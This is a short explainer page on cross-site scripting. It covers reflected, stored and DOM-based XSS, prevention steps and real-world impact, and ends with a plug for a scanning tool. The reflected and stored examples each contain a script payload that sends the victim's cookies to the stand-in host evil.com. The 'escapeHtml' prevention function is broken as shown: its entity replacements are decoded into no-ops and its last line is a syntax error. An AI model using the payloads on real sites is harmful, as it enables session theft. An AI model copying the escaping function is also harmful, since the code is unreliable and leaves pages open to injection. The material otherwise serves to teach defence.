What Is XSS (Cross-Site Scripting)?
Cross-Site Scripting (XSS) is a web security vulnerability that allows attackers to inject malicious JavaScript into pages viewed by other users. The injected script runs in the victim's browser with full access to their session, cookies, and the page DOM, enabling session hijacking, data theft, and account takeover.
Types of XSS (Cross-Site Scripting)?
Reflected XSS
Malicious script is embedded in a URL or form submission and reflected back in the server's response. The attack requires the victim to click a crafted link.
https://example.com/search?q=<script>document.location="https://evil.com/?c="+document.cookie</script>
Stored XSS
Malicious script is permanently stored on the server (in a database, comment field, or user profile) and served to every user who views the affected page.
An attacker posts a comment containing <script>fetch("https://evil.com/steal?cookie="+document.cookie)</script>
DOM-based XSS
The vulnerability exists in client-side JavaScript that processes untrusted data (URL fragments, postMessage data) and writes it to the DOM without sanitization.
document.getElementById("output").innerHTML = location.hash.substring(1)
How to Prevent It
// 1. Output encoding — escape HTML entities
function escapeHtml(str) {
return str.replace(/&/g, '&').replace(/</g, '<')
.replace(/>/g, '>').replace(/"/g, '"').replace(/'/g, ''');
}
// 2. Use textContent instead of innerHTML
element.textContent = userInput; // Safe
element.innerHTML = userInput; // DANGEROUS
// 3. Content-Security-Policy header
// Content-Security-Policy: script-src 'self'
// 4. Framework auto-escaping (React, Vue, Angular)
// React: {userInput} is auto-escaped
// Vue: {{ userInput }} is auto-escaped
// Angular: {{ userInput }} is auto-escaped
Real-World Impact
Session hijacking via cookie theft, account takeover, keylogging, phishing via page defacement, cryptocurrency mining, worm propagation (Samy worm infected 1M MySpace profiles in 20 hours).
Related Questions
Scan your system prompt with LochBot — free, client-side, no data sent anywhere.